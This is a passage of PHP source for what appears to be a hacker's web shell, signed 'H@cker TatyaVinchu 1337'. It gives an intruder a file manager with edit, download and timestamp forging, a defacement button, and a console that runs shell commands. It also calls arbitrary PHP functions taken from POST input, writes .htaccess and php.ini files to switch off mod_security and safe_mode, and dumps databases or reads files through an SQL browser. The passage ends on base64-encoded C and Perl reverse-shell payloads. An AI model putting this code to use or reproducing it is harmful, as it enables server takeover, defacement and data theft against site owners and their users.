673 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
674 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
675 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
676 );
677 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
678 $files[] = array_merge($tmp, array('type' => 'file'));
679 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
680 $links[] = array_merge($tmp, array('type' => 'link'));
681 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
682 $dirs[] = array_merge($tmp, array('type' => 'dir'));
683 }
684 $GLOBALS['sort'] = $sort;
685 function cmp($a, $b) {
686 if($GLOBALS['sort'][0] != 'size')
687 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
688 else
689 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
690 }
691 usort($files, "cmp");
692 usort($dirs, "cmp");
693 usort($links, "cmp");
694 $files = array_merge($dirs, $links, $files);
695 $l = 0;
696 foreach($files as $f) {
697 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
698 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
699 $l = $l?0:1;
700 }
701 echo '<tr><td colspan=5>
702 <input type=hidden name=a value=\'FilesMan\'>
703 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
704 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
705 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
706 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
707 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.htm" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
708 </form></table></div>';
709 printFooter();
710}
711function actionStringTools() {
712 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
713 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
714 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
715 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
716 if(isset($_POST['ajax'])) {
717 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
718 ob_start();
719 if(function_exists($_POST['p1']))
720 echo $_POST['p1']($_POST['p2']);
721 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
722 echo strlen($temp), "\n", $temp;
723 exit;
724 }
725 printHeader();
726 echo '<h1>String conversions</h1><div class=content>';
727 $stringTools = array(
728 'Base64 encode' => 'base64_encode',
729 'Base64 decode' => 'base64_decode',
730 'Url encode' => 'urlencode',
731 'Url decode' => 'urldecode',
732 'Full urlencode' => 'full_urlencode',
733 'md5 hash' => 'md5',
734 'sha1 hash' => 'sha1',
735 'crypt' => 'crypt',
736 'CRC32' => 'crc32',
737 'ASCII to HEX' => 'ascii2hex',
738 'HEX to ASCII' => 'hex2ascii',
739 'HEX to DEC' => 'hexdec',
740 'HEX to BIN' => 'hex2bin',
741 'DEC to HEX' => 'dechex',
742 'DEC to BIN' => 'decbin',
743 'BIN to HEX' => 'bin2hex',
744 'BIN to DEC' => 'bindec',
745 'String to lower case' => 'strtolower',
746 'String to upper case' => 'strtoupper',
747 'Htmlspecialchars' => 'htmlspecialchars',
748 'String length' => 'strlen',
749 );
750 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
751 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
752 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
753 foreach($stringTools as $k => $v)
754 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
755 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
756 if(!empty($_POST['p1'])) {
757 if(function_exists($_POST['p1']))
758 echo htmlspecialchars($_POST['p1']($_POST['p2']));
759 }
760 echo"</pre></div>";
761 printFooter();
762}
763function actionFilesTools() {
764 if( isset($_POST['p1']) )
765 $_POST['p1'] = urldecode($_POST['p1']);
766 if(@$_POST['p2']=='download') {
767 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
768 ob_start("ob_gzhandler", 4096);
769 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
770 if (function_exists("mime_content_type")) {
771 $type = @mime_content_type($_POST['p1']);
772 header("Content-Type: ".$type);
773 }
774 $fp = @fopen($_POST['p1'], "r");
775 if($fp) {
776 while(!@feof($fp))
777 echo @fread($fp, 1024);
778 fclose($fp);
779 }
780 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
781 }
782 exit;
783 }
784 if( @$_POST['p2'] == 'mkfile' ) {
785 if(!file_exists($_POST['p1'])) {
786 $fp = @fopen($_POST['p1'], 'w');
787 if($fp) {
788 $_POST['p2'] = "edit";
789 fclose($fp);
790 }
791 }
792 }
793 printHeader();
794 echo '<h1>File tools</h1><div class=content>';
795 if( !file_exists(@$_POST['p1']) ) {
796 echo 'File not exists';
797 printFooter();
798 return;
799 }
800 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
801 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
802 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
803 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
804 if( empty($_POST['p2']) )
805 $_POST['p2'] = 'view';
806 if( is_file($_POST['p1']) )
807 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
808 else
809 $m = array('Chmod', 'Rename', 'Touch');
810 foreach($m as $v)
811 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
812 echo '<br><br>';
813 switch($_POST['p2']) {
814 case 'view':
815 echo '<pre class=ml1>';
816 $fp = @fopen($_POST['p1'], 'r');
817 if($fp) {
818 while( !@feof($fp) )
819 echo htmlspecialchars(@fread($fp, 1024));
820 @fclose($fp);
821 }
822 echo '</pre>';
823 break;
824 case 'highlight':
825 if( is_readable($_POST['p1']) ) {
826 echo '<div class=ml1 style="background-color: #000;color:black;">';
827 $code = highlight_file($_POST['p1'],true);
828 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
829 }
830 break;
831 case 'chmod':
832 if( !empty($_POST['p3']) ) {
833 $perms = 0;
834 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
835 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
836 if(!@chmod($_POST['p1'], $perms))
837 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
838 else
839 die('<script>g(null,null,null,null,"")</script>');
840 }
841 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
842 break;
843 case 'edit':
844 if( !is_writable($_POST['p1'])) {
845 echo 'File isn\'t writeable';
846 break;
847 }
848 if( !empty($_POST['p3']) ) {
849 @file_put_contents($_POST['p1'],$_POST['p3']);
850 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
851 }
852 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
853 $fp = @fopen($_POST['p1'], 'r');
854 if($fp) {
855 while( !@feof($fp) )
856 echo htmlspecialchars(@fread($fp, 1024));
857 @fclose($fp);
858 }
859 echo '</textarea><input type=submit value=">>"></form>';
860 break;
861 case 'hexdump':
862 $c = @file_get_contents($_POST['p1']);
863 $n = 0;
864 $h = array('00000000<br>','','');
865 $len = strlen($c);
866 for ($i=0; $i<$len; ++$i) {
867 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
868 switch ( ord($c[$i]) ) {
869 case 0: $h[2] .= ' '; break;
870 case 9: $h[2] .= ' '; break;
871 case 10: $h[2] .= ' '; break;
872 case 13: $h[2] .= ' '; break;
873 default: $h[2] .= $c[$i]; break;
874 }
875 $n++;
876 if ($n == 32) {
877 $n = 0;
878 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
879 $h[1] .= '<br>';
880 $h[2] .= "\n";
881 }
882 }
883 echo '<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#000><pre>'.$h[1].'</pre></td><td bgcolor=#000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
884 break;
885 case 'rename':
886 if( !empty($_POST['p3']) ) {
887 if(!@rename($_POST['p1'], $_POST['p3']))
888 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
889 else
890 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
891 }
892 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
893 break;
894 case 'touch':
895 if( !empty($_POST['p3']) ) {
896 $time = strtotime($_POST['p3']);
897 if($time) {
898 if(@touch($_POST['p1'],$time,$time))
899 die('<script>g(null,null,null,null,"")</script>');
900 else {
901 echo 'Fail!<script>document.mf.p3.value="";</script>';
902 }
903 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
904 }
905 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
906 break;
907 case 'mkfile':
908 break;
909 }
910 echo '</div>';
911 printFooter();
912}
913function actionConsole() {
914 if(isset($_POST['ajax'])) {
915 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
916 ob_start();
917 echo "document.cf.cmd.value='';\n";
918 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
919 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
920 if(@chdir($match[1])) {
921 $GLOBALS['cwd'] = @getcwd();
922 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
923 }
924 }
925 echo "document.cf.output.value+='".$temp."';";
926 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
927 $temp = ob_get_clean();
928 echo strlen($temp), "\n", $temp;
929 exit;
930 }
931 printHeader();
932echo '<script>
933if(window.Event) window.captureEvents(Event.KEYDOWN);
934var cmds = new Array("");
935var cur = 0;
936function kp(e) {
937 var n = (window.Event) ? e.which : e.keyCode;
938 if(n == 38) {
939 cur--;
940 if(cur>=0)
941 document.cf.cmd.value = cmds[cur];
942 else
943 cur++;
944 } else if(n == 40) {
945 cur++;
946 if(cur < cmds.length)
947 document.cf.cmd.value = cmds[cur];
948 else
949 cur--;
950 }
951}
952function add(cmd) {
953 cmds.pop();
954 cmds.push(cmd);
955 cmds.push("");
956 cur = cmds.length-1;
957}
958</script>';
959 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
960 foreach($GLOBALS['aliases'] as $n => $v) {
961 if($v == '') {
962 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
963 continue;
964 }
965 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
966 }
967 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
968 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
969 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
970 if(!empty($_POST['p1'])) {
971 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
972 }
973 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
974 echo '</form></div><script>document.cf.cmd.focus();</script>';
975 printFooter();
976}
977function actionLogout() {
978 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
979 echo '<body bgcolor=#000000><center><img src="http://images.all-free-download.com/images/graphiclarge/abstract_indian_shiny_flag_black_tricolor_wave_6818267.jpg"><h1><font color="orange"> BYE BHAI <br><h2><font size="4">SHELL BY H@cker TatyaVinchu 1337 <p><h2> B@D Empier <br><h2><font color="orange">HINDUSTAN<font color="#fff">ZINDABAD</h2><p><font color="BLUE" font size="4">WE ARE :<marquee width="80%"> B@d Boys </marquee></font></font></font></center></body>';
980}
981function actionSelfRemove() {
982 printHeader();
983 if($_POST['p1'] == 'yes') {
984 if(@unlink(SELF_PATH))
985 die('Shell has been removed');
986 else
987 echo 'unlink error!';
988 }
989 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
990 printFooter();
991}
992function actionBypass() {
993 printHeader();
994 echo '<h1>Safe Mode</h1>';
995 echo '<div class="content">';
996 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
997 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
998 if(!empty($_POST['p2']) && isset($_POST['p2']))
999 {
1000 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1001 fwrite($fil,'<IfModule mod_security.c>
1002 Sec------Engine Off
1003 Sec------ScanPOST Off
1004 </IfModule>');
1005 fclose($fil);
1006 }
1007 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1008 {
1009 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1010 fwrite($fil,'safe_mode=OFF
1011 disable_functions=NONE');
1012 fclose($fil);
1013 }
1014 if(!empty($_POST['p3']) && isset($_POST['p3']))
1015 {
1016 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1017 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1018 AddType application/x-httpd-cgi .sh
1019 AddHandler cgi-script .pl
1020 AddHandler cgi-script .pl');
1021 fclose($fil);
1022 }
1023 echo "<br><br /><br /></div>";
1024 echo '</div>';
1025 printFooter();
1026}
1027
1028function actionSql() {
1029 class DbClass {
1030 var $type;
1031 var $link;
1032 var $res;
1033 function DbClass($type) {
1034 $this->type = $type;
1035 }
1036 function connect($host, $user, $pass, $dbname){
1037 switch($this->type) {
1038 case 'mysql':
1039 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1040 break;
1041 case 'pgsql':
1042 $host = explode(':', $host);
1043 if(!$host[1]) $host[1]=5432;
1044 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1045 break;
1046 }
1047 return false;
1048 }
1049 function selectdb($db) {
1050 switch($this->type) {
1051 case 'mysql':
1052 if (@mysql_select_db($db))return true;
1053 break;
1054 }
1055 return false;
1056 }
1057 function query($str) {
1058 switch($this->type) {
1059 case 'mysql':
1060 return $this->res = @mysql_query($str);
1061 break;
1062 case 'pgsql':
1063 return $this->res = @pg_query($this->link,$str);
1064 break;
1065 }
1066 return false;
1067 }
1068 function fetch() {
1069 $res = func_num_args()?func_get_arg(0):$this->res;
1070 switch($this->type) {
1071 case 'mysql':
1072 return @mysql_fetch_assoc($res);
1073 break;
1074 case 'pgsql':
1075 return @pg_fetch_assoc($res);
1076 break;
1077 }
1078 return false;
1079 }
1080 function listDbs() {
1081 switch($this->type) {
1082 case 'mysql':
1083 return $this->res = @mysql_list_dbs($this->link);
1084 break;
1085 case 'pgsql':
1086 return $this->res = $this->query("SELECT datname FROM pg_database");
1087 break;
1088 }
1089 return false;
1090 }
1091 function listTables() {
1092 switch($this->type) {
1093 case 'mysql':
1094 return $this->res = $this->query('SHOW TABLES');
1095 break;
1096 case 'pgsql':
1097 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1098 break;
1099 }
1100 return false;
1101 }
1102 function error() {
1103 switch($this->type) {
1104 case 'mysql':
1105 return @mysql_error($this->link);
1106 break;
1107 case 'pgsql':
1108 return @pg_last_error($this->link);
1109 break;
1110 }
1111 return false;
1112 }
1113 function setCharset($str) {
1114 switch($this->type) {
1115 case 'mysql':
1116 if(function_exists('mysql_set_charset'))
1117 return @mysql_set_charset($str, $this->link);
1118 else
1119 $this->query('SET CHARSET '.$str);
1120 break;
1121 case 'mysql':
1122 return @pg_set_client_encoding($this->link, $str);
1123 break;
1124 }
1125 return false;
1126 }
1127 function dump($table) {
1128 switch($this->type) {
1129 case 'mysql':
1130 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1131 $create = mysql_fetch_array($res);
1132 echo $create[1].";\n\n";
1133 $this->query('SELECT * FROM `'.$table.'`');
1134 while($item = $this->fetch()) {
1135 $columns = array();
1136 foreach($item as $k=>$v) {
1137 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1138 $columns[] = "`".$k."`";
1139 }
1140 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1141 }
1142 break;
1143 case 'pgsql':
1144 $this->query('SELECT * FROM '.$table);
1145 while($item = $this->fetch()) {
1146 $columns = array();
1147 foreach($item as $k=>$v) {
1148 $item[$k] = "'".addslashes($v)."'";
1149 $columns[] = $k;
1150 }
1151 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1152 }
1153 break;
1154 }
1155 return false;
1156 }
1157 };
1158 $db = new DbClass(@$_POST['type']);
1159 if(@$_POST['p2']=='download') {
1160 ob_start("ob_gzhandler", 4096);
1161 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1162 $db->selectdb($_POST['sql_base']);
1163 header("Content-Disposition: attachment; filename=dump.sql");
1164 header("Content-Type: text/plain");
1165 foreach($_POST['tbl'] as $v)
1166 $db->dump($v);
1167 exit;
1168 }
1169 printHeader();
1170 echo '<h1>Sql browser</h1><div class=content>
1171 <form name="sf" method="post">
1172 <table cellpadding="2" cellspacing="0">
1173 <tr>
1174 <td>Type</td>
1175 <td>Host</td>
1176 <td>Login</td>
1177 <td>Password</td>
1178 <td>Database</td>
1179 <td></td>
1180 </tr>
1181 <tr>
1182 <input type=hidden name=a value=Sql>
1183 <input type=hidden name=p1 value=\'query\'>
1184 <input type=hidden name=p2>
1185 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1186 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1187 <td>
1188 <select name=\'type\'>
1189 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
1190 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
1191 </select></td>
1192 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
1193 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
1194 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
1195 <td>';
1196 $tmp = "<input type=text name=sql_base value=''>";
1197 if(isset($_POST['sql_host'])){
1198 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1199 switch($_POST['charset']) {
1200 case "Windows-1251": $db->setCharset('cp1251'); break;
1201 case "UTF-8": $db->setCharset('utf8'); break;
1202 case "KOI8-R": $db->setCharset('koi8r'); break;
1203 case "KOI8-U": $db->setCharset('koi8u'); break;
1204 case "cp866": $db->setCharset('cp866'); break;
1205 }
1206 $db->listDbs();
1207 echo "<select name=sql_base><option value=''></option>";
1208 while($item = $db->fetch()) {
1209 list($key, $value) = each($item);
1210 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1211 }
1212 echo '</select>';
1213 }
1214 else echo $tmp;
1215 }else
1216 echo $tmp;
1217 echo '</td>
1218 <td><input type=submit value=">>"></td>
1219 </tr>
1220 </table>
1221 <script>
1222 function st(t,l) {
1223 document.sf.p1.value = \'select\';
1224 document.sf.p2.value = t;
1225 if(l!=null)document.sf.p3.value = l;
1226 document.sf.submit();
1227 }
1228 function is() {
1229 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1230 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1231 }
1232 </script>';
1233 if(isset($db) && $db->link){
1234 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1235 if(!empty($_POST['sql_base'])){
1236 $db->selectdb($_POST['sql_base']);
1237 echo "<tr><td width=1 style='border-top:1px #56A3E9;border-right:2px #56A3E9;'><span>Tables:</span><br><br>";
1238 $tbls_res = $db->listTables();
1239 while($item = $db->fetch($tbls_res)) {
1240 list($key, $value) = each($item);
1241 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1242 $value = htmlspecialchars($value);
1243 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1244 }
1245 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px #56A3E9;'>";
1246 if(@$_POST['p1'] == 'select') {
1247 $_POST['p1'] = 'query';
1248 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1249 $num = $db->fetch();
1250 $num = $num['n'];
1251 echo "<span>".$_POST['p2']."</span> ($num) ";
1252 for($i=0;$i<($num/30);$i++)
1253 if($i != (int)$_POST['p3'])
1254 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1255 else
1256 echo ($i+1)," ";
1257 if($_POST['type']=='pgsql')
1258 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1259 else
1260 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1261 echo "<br><br>";
1262 }
1263 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1264 $db->query(@$_POST['p3']);
1265 if($db->res !== false) {
1266 $title = false;
1267 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1268 $line = 1;
1269 while($item = $db->fetch()) {
1270 if(!$title) {
1271 echo '<tr>';
1272 foreach($item as $key => $value)
1273 echo '<th>'.$key.'</th>';
1274 reset($item);
1275 $title=true;
1276 echo '</tr><tr>';
1277 $line = 2;
1278 }
1279 echo '<tr class="l'.$line.'">';
1280 $line = $line==1?2:1;
1281 foreach($item as $key => $value) {
1282 if($value == null)
1283 echo '<td><i>null</i></td>';
1284 else
1285 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1286 }
1287 echo '</tr>';
1288 }
1289 echo '</table>';
1290 } else {
1291 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1292 }
1293 }
1294 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1295 echo "</td></tr>";
1296 }
1297 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1298 if(@$_POST['p1'] == 'loadfile') {
1299 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1300 $file = $db->fetch();
1301 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1302 }
1303 }
1304 echo '</div>';
1305 printFooter();
1306}
1307function actionNetwork() {
1308 printHeader();
1309 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1310 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
